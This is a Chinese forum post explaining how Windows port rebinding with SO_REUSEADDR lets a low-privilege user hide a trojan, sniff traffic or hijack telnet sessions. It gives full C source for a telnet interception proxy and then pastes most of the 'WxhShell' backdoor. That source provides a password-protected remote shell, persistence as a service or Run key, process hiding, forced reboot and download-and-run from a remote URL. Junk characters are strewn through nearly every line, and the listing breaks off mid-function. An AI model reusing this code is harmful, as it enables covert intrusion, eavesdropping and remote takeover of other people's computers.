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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: { ;' :h  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]J~g'">  
0eaUorm)  
  saddr.sin_family = AF_INET; B#H2RTc  
$:HLRl{2E  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); W)  
*%f3rvt7@)  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 'v`~(9'Rcj  
c( 8W8R  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 k%a?SU<f  
x_pMG!2  
  这意味着什么?意味着可以进行如下的攻击: jM[f[  
qSCTFJ0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 K/A ? ]y  
*kV#)j  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) v @_?iC"`  
]LY^9eK)>{  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 YmA) @1@U  
ma`w\8 a  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ;C6O3@Q  
-q|*M:R  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 i&B?4J)  
T7X!#j" \  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 EXH!glR[$  
2tlO"c:_/  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @Yb Z 8Uc  
Hm<M@M$aG  
  #include -<12~HKK::  
  #include +;5Wp$ M\  
  #include 5D >BV *"  
  #include    @<%oIE~]F  
  DWORD WINAPI ClientThread(LPVOID lpParam);   {K6Kx36  
  int main() z4 nou>  
  { >cSi/a,L  
  WORD wVersionRequested; L)=8mF.  
  DWORD ret; %!#rrt,F  
  WSADATA wsaData; Ld'EABM  
  BOOL val; F F(^:N  
  SOCKADDR_IN saddr; QDl)92z  
  SOCKADDR_IN scaddr; %j!z\pa  
  int err; 'II vub#q  
  SOCKET s; ^$ZI>L0+  
  SOCKET sc; P|yGx)'^P  
  int caddsize; V=Ww>  
  HANDLE mt; Ty(yh(oYF`  
  DWORD tid;   >J?jr&i  
  wVersionRequested = MAKEWORD( 2, 2 ); {[rO2<MkA#  
  err = WSAStartup( wVersionRequested, &wsaData ); 939]8BERt  
  if ( err != 0 ) { V&$  J;  
  printf("error!WSAStartup failed!\n"); t P At?  
  return -1; Fj36K6!#?  
  } k^~@9F5k  
  saddr.sin_family = AF_INET; gA|!$ EAM  
   kz3?j<  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 s-Q7uohK  
cG<Q`(5~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /"g[Ay  
  saddr.sin_port = htons(23); 4/ 0/#G#j  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +YkmLD  
  { v_[)FN"]Y.  
  printf("error!socket failed!\n"); S]Sp Z8  
  return -1; &3+1D1"y/  
  } #xD&z^o  
  val = TRUE; Jq=X!mT d.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 )jp{*?^\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) h,Y{t?Of  
  { k,yc>3P;U  
  printf("error!setsockopt failed!\n"); c g3Cl[s  
  return -1; vEX|Q\b6'  
  } ID_|H?.  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; oR!n bm  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 &! 5CwEIF  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ?nj"Ptzs  
+ 6i7,U  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {IF}d*:  
  { V7Vbl?*n  
  ret=GetLastError(); zWP.1 aA&  
  printf("error!bind failed!\n"); &zaW"uy3T  
  return -1; o9DYr[  
  } \a9D[wk;@  
  listen(s,2); OcyiL)tv5  
  while(1) !- Cs?  
  { _3-RoA'UZr  
  caddsize = sizeof(scaddr); Vq?8u/  
  //接受连接请求 ,k`YDy|#e  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); m? ]zomP  
  if(sc!=INVALID_SOCKET) Ncs4<"{$  
  { ?HEo9/ *7  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); QYODmeu  
  if(mt==NULL) W o<PmSt9i  
  { ({ :yw  
  printf("Thread Creat Failed!\n"); tIc0S!H#  
  break; GF$rPY[  
  } ;C7BoHB9  
  } Rh05W_?Js  
  CloseHandle(mt); ^59YfC<f  
  } [esX{6,i  
  closesocket(s); uyS^W'fF  
  WSACleanup(); N{0+C?{_  
  return 0; )VV4HoH]8  
  }   \.XT:B_  
  DWORD WINAPI ClientThread(LPVOID lpParam) "W3n BaG  
  { Lqz}&A   
  SOCKET ss = (SOCKET)lpParam; qcpG}o+&D  
  SOCKET sc; `2Z4#$.  
  unsigned char buf[4096]; uM}dZp 1  
  SOCKADDR_IN saddr; J,(U<%n  
  long num; v#T?YK  
  DWORD val; XSL t;zL:  
  DWORD ret; YFC0KU  
  //如果是隐藏端口应用的话,可以在此处加一些判断 OXa5Jg}=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   5 O{Ip-  
  saddr.sin_family = AF_INET; \_-kOS  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); CrQA :_Z(7  
  saddr.sin_port = htons(23); f<$K.i  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) l>[QrRXiSN  
  { ouu-wQ|(mM  
  printf("error!socket failed!\n"); :_I wc=  
  return -1; g9 grfN  
  } "'&>g4F`o  
  val = 100; )\:lYI}Wpm  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *cI6 &;y  
  { f0HV*%8  
  ret = GetLastError(); *1 J#Mdd  
  return -1; inq4CGY  
  } nEa'e5 lg  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Np5/lPb1  
  { =%#$HQ=  
  ret = GetLastError(); b> >=d)R  
  return -1; v"Ud mv"  
  } D KMbs   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) X,C/x)  
  { nJM9c[Ou^H  
  printf("error!socket connect failed!\n"); f6aT[Nw<  
  closesocket(sc); 56j/w[&8  
  closesocket(ss); 1Q2k>q8  
  return -1; ??esB&4?  
  } ,*O{jc`(  
  while(1) B[U.CAUn  
  { #4|i@0n}D  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?@,f[U-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 PL$(/Z  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,& pF:ql F  
  num = recv(ss,buf,4096,0); Pvb+   
  if(num>0) h9)]N&07b  
  send(sc,buf,num,0); 2Xq!'NrS  
  else if(num==0) x:&L?eOT  
  break; S:B- nI  
  num = recv(sc,buf,4096,0); HnKF#<  
  if(num>0) qkR,<"C|`  
  send(ss,buf,num,0); A$9_aqbj  
  else if(num==0) 41+E UMc  
  break; fSQ3 :o  
  } \Im \*A   
  closesocket(ss); fv 1!^CDia  
  closesocket(sc); "8j;k5<  
  return 0 ; vSHIl"h  
  } U}C#:Xi>$  
zdpLAr  
OrKT~JQVC&  
========================================================== {bq-: CZe  
4- ?`#  
下边附上一个代码,,WXhSHELL ;^H+ |&$>  
QWQ6j#`  
========================================================== J1v0 \  
0z<]\a4  
#include "stdafx.h" 5M.n'*   
RWm Q]  
#include <stdio.h> @gVyLefS6g  
#include <string.h> ~sU! 1  
#include <windows.h> tRrY)eElS  
#include <winsock2.h> w _6Y+  
#include <winsvc.h> }FdcbNsP  
#include <urlmon.h> Xta>  
(Q p] 0  
#pragma comment (lib, "Ws2_32.lib") ; 0_J7  
#pragma comment (lib, "urlmon.lib") 1wNY}3  
w]P7!t  
#define MAX_USER   100 // 最大客户端连接数 NtP.)  
#define BUF_SOCK   200 // sock buffer NcY0pAR*  
#define KEY_BUFF   255 // 输入 buffer \kJt@ [w%  
0f}Q~d=QL  
#define REBOOT     0   // 重启 '>lPq tdZ  
#define SHUTDOWN   1   // 关机 (P52KD[A[  
5Z>pa`_$2  
#define DEF_PORT   5000 // 监听端口 Qd)cFL "v  
)V =K#MCK  
#define REG_LEN     16   // 注册表键长度 m^u&g&^  
#define SVC_LEN     80   // NT服务名长度 ~9ls~$+*  
PAWr1]DI  
// 从dll定义API )GT?Wd  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *t-A6)2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); uP'w.nA&2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -~GJ; Uw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %K f . F  
Vh[o[ U  
// wxhshell配置信息 y2hFUq  
struct WSCFG { hm} :Me$[)  
  int ws_port;         // 监听端口 `/j|Rb|eow  
  char ws_passstr[REG_LEN]; // 口令 H2R^t{ w  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'jlXLb  
  char ws_regname[REG_LEN]; // 注册表键名 a>jI_)L  
  char ws_svcname[REG_LEN]; // 服务名 Ch&]<#E>`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \f Fy$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 i I Nu`>I  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `h{mj|~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no M,! no  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vz_g2.7l\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 W%<]_u[-}  
ydFhw}1>  
}; 3f.Gog  
L-:L= snO  
// default Wxhshell configuration tJF~Xv2L!  
struct WSCFG wscfg={DEF_PORT, GBOmVQ $Hb  
    "xuhuanlingzhe", 3V!&y/c<  
    1, D$!p+Q  
    "Wxhshell", + T-zf@j  
    "Wxhshell", &Or=_5Y`  
            "WxhShell Service",  G#n)|p  
    "Wrsky Windows CmdShell Service", 5z mHb  
    "Please Input Your Password: ", T9v#Jb6  
  1, fy-Z{  
  "http://www.wrsky.com/wxhshell.exe", j I@$h_n  
  "Wxhshell.exe" ?RAR  
    }; + d)~;I$  
8q[WfD  
// 消息定义模块 zZ0V6T}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r@ *A   
char *msg_ws_prompt="\n\r? for help\n\r#>"; 92ww[+RQ@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1?$!y  
char *msg_ws_ext="\n\rExit."; 7tO$'q*h  
char *msg_ws_end="\n\rQuit."; nVA'O  
char *msg_ws_boot="\n\rReboot..."; 2o}G<7r  
char *msg_ws_poff="\n\rShutdown..."; NcMq>n  
char *msg_ws_down="\n\rSave to "; , p=8tf#  
;Sl0kSu  
char *msg_ws_err="\n\rErr!"; Gqb-3n gH  
char *msg_ws_ok="\n\rOK!"; fU7:3"|s8  
wgP3&4cSUc  
char ExeFile[MAX_PATH]; 6i=wAkn_J  
int nUser = 0; pXEVI6 }  
HANDLE handles[MAX_USER]; V~"d`j  
int OsIsNt; Z8 n%=(He  
W$&Ets8zo  
SERVICE_STATUS       serviceStatus; :q[n1 O[Ch  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r&~iEO|?\  
9NXiCP9A  
// 函数声明 d?X6x  
int Install(void); {h+E&u[zL  
int Uninstall(void); RKb3=} *C  
int DownloadFile(char *sURL, SOCKET wsh); m)2hl~o_  
int Boot(int flag); (G!J==  
void HideProc(void); q x }fn/:  
int GetOsVer(void); BcO2* 3  
int Wxhshell(SOCKET wsl); $5(%M8qmQ  
void TalkWithClient(void *cs); #;\;F PuZ  
int CmdShell(SOCKET sock); `%I{l  
int StartFromService(void); 2l4i-;  
int StartWxhshell(LPSTR lpCmdLine); t|"d#5'  
^`5Yxpz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z`KXXlJ^i  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); QHz76i!=>  
p<['FRf"  
// 数据结构和表定义 !+ hgKZ]  
SERVICE_TABLE_ENTRY DispatchTable[] = {!bJ.O l  
{ t[ocp;Q  
{wscfg.ws_svcname, NTServiceMain}, <?}g[]i  
{NULL, NULL} 0|vWwZq  
}; 3YF]o9  
qz SI cI  
// 自我安装 =9MH  
int Install(void) y+x>{!pw  
{ )%c)-c  
  char svExeFile[MAX_PATH]; =qQQ^`^F'~  
  HKEY key; `g1~ya(MC  
  strcpy(svExeFile,ExeFile); {oeQK   
Nn\\}R  
// 如果是win9x系统,修改注册表设为自启动 u`nn{C4D"  
if(!OsIsNt) { Zul32]1r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l@jJJ)Qyk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _j tS-CnO  
  RegCloseKey(key); /Loe y   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NistW+{<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OyZ>R~c'B  
  RegCloseKey(key); dAt[i \S  
  return 0; _( Cp   
    } $^ 3 f}IzA  
  } IsL/p3|  
} \./2Qc,  
else { +:Zi(SuS]  
X;RI7{fW%X  
// 如果是NT以上系统,安装为系统服务 ^/,yZ:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mmK_xu~f28  
if (schSCManager!=0) tTamFL6  
{ <a3XV  
  SC_HANDLE schService = CreateService )$g /PQ  
  ( N^at{I6C  
  schSCManager, KPqI(  
  wscfg.ws_svcname, =MLL-a1  
  wscfg.ws_svcdisp, s``L?9  
  SERVICE_ALL_ACCESS, oI/ThM`=q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , LvdMx]*SSr  
  SERVICE_AUTO_START, @h3)! #\ N  
  SERVICE_ERROR_NORMAL, 'm:B(N@+  
  svExeFile, [AwE  
  NULL, !d_A?q'hN  
  NULL, #O ]IXo(5z  
  NULL, aoX$,~oI5  
  NULL, 4!|ar?Zy  
  NULL r&RSQHa)  
  ); ^Y |s^N  
  if (schService!=0) = 0Sa  
  { ~`.%n7  
  CloseServiceHandle(schService); |XZf:}q5:  
  CloseServiceHandle(schSCManager); [%Xfl7;Wh  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9$i`B>C~  
  strcat(svExeFile,wscfg.ws_svcname); ; & +75n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5}ah%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Dh<e9s:  
  RegCloseKey(key); T]`" Xl8  
  return 0; SO"P3X  
    } XPKcF I=  
  } ( PlNaasV  
  CloseServiceHandle(schSCManager); ;zODp+4@Q  
} "(GeW286k  
} EG6fC4rfC  
IgJC>;]u  
return 1; TXv#/@  
} !y.7"G*  
h08T Q=n  
// 自我卸载 IuD<lMeJ J  
int Uninstall(void) 4Rq"xYGXh  
{ Z0KA4O$eL  
  HKEY key; ;<H2N0qJ(  
/.bwwj_;  
if(!OsIsNt) { J$[Vm%56  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "?-s Qn  
  RegDeleteValue(key,wscfg.ws_regname); eH6cBX#P.  
  RegCloseKey(key); i9tM]/SP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Gx($q;8  
  RegDeleteValue(key,wscfg.ws_regname); Sq%R  
  RegCloseKey(key); e +U o-CO  
  return 0; jT',+   
  } xH uyfQLk  
} ipG+qj/=  
} ww,'n{_  
else { Ns(F%zkm  
"H8N,eb2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J .d<5`7   
if (schSCManager!=0) Jjv&@a}  
{ 8wOPpdc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,H8P mn?  
  if (schService!=0) 7 pV3#fQ  
  { C.O-iBVe#  
  if(DeleteService(schService)!=0) { X,~C&#  
  CloseServiceHandle(schService); Xo b##{P3  
  CloseServiceHandle(schSCManager); _nUuiB>  
  return 0; ,*US) &x  
  } "^`AS"z'  
  CloseServiceHandle(schService); m{|n.b  
  } !v=ha%w{  
  CloseServiceHandle(schSCManager); &/p 9+gd  
} PR0]:t)E  
} /<~IKVz\&  
t*#T~3p  
return 1; X@rAe37h+  
} 9L,T@#7  
qM'5cxe  
// 从指定url下载文件 KMa?2cJH#  
int DownloadFile(char *sURL, SOCKET wsh) va\cE*,@ns  
{ PQ" Dl=,  
  HRESULT hr; E),T,   
char seps[]= "/"; `fXcW)  
char *token; rE 8-MB  
char *file; Rd/!CJ@g  
char myURL[MAX_PATH]; lf 3W:0 K  
char myFILE[MAX_PATH];  OxRzKT  
2\ n6XAQ*  
strcpy(myURL,sURL); hI$an%Y(  
  token=strtok(myURL,seps); u-,=C/iU  
  while(token!=NULL) G6FknYj  
  { H|]Q;,C  
    file=token; ``{xm1GK  
  token=strtok(NULL,seps); '0+-Hit?  
  } SX#ATf6#  
t+t&eg  
GetCurrentDirectory(MAX_PATH,myFILE); [||$1u\%  
strcat(myFILE, "\\"); K7|BXGL8r8  
strcat(myFILE, file); 6;Bqu5_Cj  
  send(wsh,myFILE,strlen(myFILE),0); %5b2vrg~*  
send(wsh,"...",3,0); 5K0Isuu>>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 74_ji!  
  if(hr==S_OK) e([}dz  
return 0; 1jR<H$aS  
else 6v-h!1p{u  
return 1; YvonZ  
p 4=^ UP  
} z@2NAC  
umY4tNe]$  
// 系统电源模块 o}BaZ|iZ2  
int Boot(int flag) OvkYzI`  
{ yfj<P/aA+  
  HANDLE hToken; kjH0u$n  
  TOKEN_PRIVILEGES tkp; rR xqV?>n!  
ebf0;1!  
  if(OsIsNt) { qbjRw!2?w  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o4xZaF4+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); : 7'anj  
    tkp.PrivilegeCount = 1; \O[Cae:^?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n,`&f~tap  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ` 6PdMvF  
if(flag==REBOOT) { w;XXjT  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) MOXDR  
  return 0; opKtSF|)  
} uXXwMc<p  
else { @l 1 piz8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K:mb$YJ&  
  return 0; Vx'_fb?wap  
}  C+_ NG  
  } _("{fJ,A  
  else { o`G@Je_}x  
if(flag==REBOOT) { *x$\5;A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rQU;?[y  
  return 0; WlU5`NJl]2  
} mAz':R[  
else { }2}hH0R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "[76>\'H  
  return 0; >k"/:g^t  
} mDtD7FzJ  
} t<rhrW75P  
 vO 3fAB  
return 1; 2|+**BxHD  
} ) b?HK SqI  
(V*ggii@  
// win9x进程隐藏模块 M^a QH/=:"  
void HideProc(void) Rh iiQ  
{ wT;D<rqe`  
!RV}dhI  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P7Kp*He)  
  if ( hKernel != NULL ) Eg>MG87  
  { 7^=O^!sa  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S~hNSw (-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -[Q%Vv!8  
    FreeLibrary(hKernel); &q>=6sQvf  
  } \59+JLmP4  
uk16  
return; W,:*`  
} q*8^938  
.Um.dXBYU  
// 获取操作系统版本 @wb V@  
int GetOsVer(void) 88G Q  F  
{ al1Uf]xh  
  OSVERSIONINFO winfo; 5F $W^N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k? X7h2  
  GetVersionEx(&winfo); zgV{S Qo  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Drz#D1-2  
  return 1; Z':}ZXy]  
  else - 3kg,=HU;  
  return 0; 4Y[tx]<  
} !h4L_D0  
mJl|dk_c  
// 客户端句柄模块 {x  s{  
int Wxhshell(SOCKET wsl) =JY9K0S~  
{ wj /OYnMw  
  SOCKET wsh; }sZme3*J[  
  struct sockaddr_in client; y]yp8Bs+  
  DWORD myID; x pT85D  
#)z_TM07P  
  while(nUser<MAX_USER) pPUKx =d  
{ 'Tj9btM*cL  
  int nSize=sizeof(client); 6Dwj^e0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _Uc le  
  if(wsh==INVALID_SOCKET) return 1; Srg `Tt]  
v [\' M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wS9EC}s:Q  
if(handles[nUser]==0) b$[O^p9x  
  closesocket(wsh); BNL Q]  
else {fmSmD  
  nUser++; q,A;d^g  
  } blEs!/A`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {dTtYL$'"  
@|sDb?J  
  return 0; [kaj8  
} r$<[`L+6  
1 :<f[l  
// 关闭 socket 8SR~{  
void CloseIt(SOCKET wsh) _gxI=EYi  
{ _Gv n1"l  
closesocket(wsh); |5^tp  
nUser--; e4ym6q<6!  
ExitThread(0); kO>F, M  
} .IXkdy  
|]y]K%  
// 客户端请求句柄 v!JQ;OX  
void TalkWithClient(void *cs) BxVo>r  
{ ~RgO9p(dY  
PRa #; Wb  
  SOCKET wsh=(SOCKET)cs; 2|8e7q:+*  
  char pwd[SVC_LEN]; eD2u!OKW!  
  char cmd[KEY_BUFF]; ,'N8Ivt  
char chr[1]; 3Uw}!>`%  
int i,j; {N!Xp:(<7_  
R-5EztmLae  
  while (nUser < MAX_USER) { s~V%eq("}  
J=Q?_$xb}  
if(wscfg.ws_passstr) { .sCi9d WR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qn=~4rg]R  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]n _OQ)VO  
  //ZeroMemory(pwd,KEY_BUFF); ]rU$0)VN  
      i=0; qD0sD2 x  
  while(i<SVC_LEN) { WCJ$S\#  
Gpv9~&  
  // 设置超时 9=D09@A%e  
  fd_set FdRead; 9[31EiT  
  struct timeval TimeOut; F-0|&0  
  FD_ZERO(&FdRead); T-S6`^_L  
  FD_SET(wsh,&FdRead); `0'Bg2'  
  TimeOut.tv_sec=8; RHe'L36W  
  TimeOut.tv_usec=0; MOp06  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *>"k/XUn$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ] /w: 5o#  
, z8<[Q-#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8y:c3jzP_  
  pwd=chr[0]; vOMmsU F  
  if(chr[0]==0xd || chr[0]==0xa) { KPW2e2{4@  
  pwd=0; u^5X@ .  
  break; 5^:N]Mp"  
  } _\mMgZu  
  i++; uj 6dP  
    } -`knSR  
t.f#_C\  
  // 如果是非法用户,关闭 socket |^ K"#K  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rwYlg:  
} BM6 J  
9#C hn~ \  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e(t,~(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~ 8hAmM  
o'uv5asdb  
while(1) { -^a?]`3_v  
60*;a*cy  
  ZeroMemory(cmd,KEY_BUFF); #A&(b}#:o  
02|f@bP.  
      // 自动支持客户端 telnet标准   Gn+3OI"  
  j=0; $mS] K!\  
  while(j<KEY_BUFF) { 39j "z8 n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |gl~wG1@  
  cmd[j]=chr[0]; yDk|ad|  
  if(chr[0]==0xa || chr[0]==0xd) { N^u,C$zP9C  
  cmd[j]=0; YbX3_N&  
  break; zzq7?]D  
  } l,(Mm,3  
  j++; ?$:;hGO.<~  
    } ,sU#{.(  
x^s2bb  
  // 下载文件 Q $wa<`  
  if(strstr(cmd,"http://")) { =SY5E{`4p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4s{_(gy  
  if(DownloadFile(cmd,wsh)) oSDx9%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qT U(]O1  
  else ^4D7sS;~3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m@qM|%(0x  
  } Km)5;BQxg  
  else { [#}A]1N  
GQZLOjsop  
    switch(cmd[0]) { ?B&Z x-krd  
  ! y1]S .;  
  // 帮助 1r %~Rm  
  case '?': { H*SEzVb  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); rkp 1tv  
    break; bC[TLsh7{2  
  } %j '_I\  
  // 安装 vkQ81PEt  
  case 'i': { $-Ud&sjn  
    if(Install()) #1>DV@^F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8|\0\Wd;vu  
    else ct,Iu+HJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N S^(5g  
    break; caK<;bmu-  
    } @O~  
  // 卸载 ;H%&Jht  
  case 'r': { T2;%@Ghc  
    if(Uninstall()) hWzjn5w3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); . kv/db  
    else 37 #|X*L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KK}?x6wV0,  
    break; 7N@4c   
    } ~j1.;WId[  
  // 显示 wxhshell 所在路径 $]&0`F  
  case 'p': { i&|fGX?-I  
    char svExeFile[MAX_PATH]; gH{X?  
    strcpy(svExeFile,"\n\r"); &) '5_#S  
      strcat(svExeFile,ExeFile); .Pp;%  
        send(wsh,svExeFile,strlen(svExeFile),0); mPl2y3m%  
    break; t#kPEiD  
    } i\4Qv"%  
  // 重启 ||{V*"+\  
  case 'b': { 5 IK -V)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); uVO*@Kj+  
    if(Boot(REBOOT)) Pc= S^}+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UKIDFDn6_  
    else { cBgdBPDa  
    closesocket(wsh); zjyj,jP  
    ExitThread(0); y:FxX8S$'e  
    } nG0Uv%?{pj  
    break; 1l@gZI12#/  
    } U#o5(mK  
  // 关机 ?dWfupO{  
  case 'd': { 2r3]DrpJ  
